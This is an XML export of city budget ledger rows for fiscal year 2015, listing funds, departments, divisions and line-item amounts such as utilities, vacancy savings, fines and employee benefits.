<row _id="16455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2015</fiscal_year><july>-335000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-335000.0</total></row>
<row _id="16456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>740.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>740.0</total></row>
<row _id="16457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>38763.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38763.0</total></row>
<row _id="16458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>49200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49200.0</total></row>
<row _id="16459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3560.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3560.0</total></row>
<row _id="16460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562432.0</object><object_description>SHP-ST JOE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>63432.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63432.0</total></row>
<row _id="16461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4751.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4751.0</total></row>
<row _id="16462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11708.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11708.0</total></row>
<row _id="16463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15899.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15899.0</total></row>
<row _id="16464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409080.0</object><object_description>ADULT SOCCER LEAGUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-220000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-220000.0</total></row>
<row _id="16465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3540.0</total></row>
<row _id="16466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="16467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>744.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>744.0</total></row>
<row _id="16468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>110589.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110589.0</total></row>
<row _id="16469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6400.0</total></row>
<row _id="16470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6617.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6617.0</total></row>
<row _id="16471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>588110.0</object><object_description>TRAFFIC CONTROL EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29574.0</total></row>
<row _id="16472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555215.0</object><object_description>OUTSIDE TRAINER PAYMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21286.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21286.0</total></row>
<row _id="16473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUST SUPPLIES CITY TV</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544490.0</object><object_description>PRINT SHOP PRINTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="16475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>566440.0</object><object_description>SPECIAL CLEANUP/MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2400.0</total></row>
<row _id="16476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>48481.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48481.0</total></row>
<row _id="16477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1250.0</total></row>
<row _id="16478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522135.0</object><object_description>UTILITIES - WATER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>53332.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53332.0</total></row>
<row _id="16479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11240.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11240.0</total></row>
<row _id="16480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-19635.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19635.0</total></row>
<row _id="16481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-606916.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-606916.0</total></row>
<row _id="16482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-18535.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18535.0</total></row>
<row _id="16483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-29115.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29115.0</total></row>
<row _id="16485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-20615.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20615.0</total></row>
<row _id="16487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-10777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10777.0</total></row>
<row _id="16488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-106516.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-106516.0</total></row>
<row _id="16489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>35190.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35190.0</total></row>
<row _id="16491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2919.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2919.0</total></row>
<row _id="16492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6561.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6561.0</total></row>
<row _id="16493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>77</fund_id><fund_name>Parking Authority Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>236</division_id><division_name>PARKING AUTHORITY</division_name><object>404230.0</object><object_description>P/A BD FUND INT-DEP/INVEST</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="16494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1842.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1842.0</total></row>
<row _id="16495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2996.0</total></row>
<row _id="16496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>VACATION LUMP SUM PAYS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522990.0</object><object_description>STOCKROOM REPAIR PARTS &amp; MATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>620000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>620000.0</total></row>
<row _id="16498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY YARD</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>63345.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63345.0</total></row>
<row _id="16499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY YAR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7797.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7797.0</total></row>
<row _id="16500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>400000.0</object><object_description>REVENUE</object_description><category_code xsi:nil="true" /><category_code_description>REVENUE</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24310.0</total></row>
<row _id="16502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
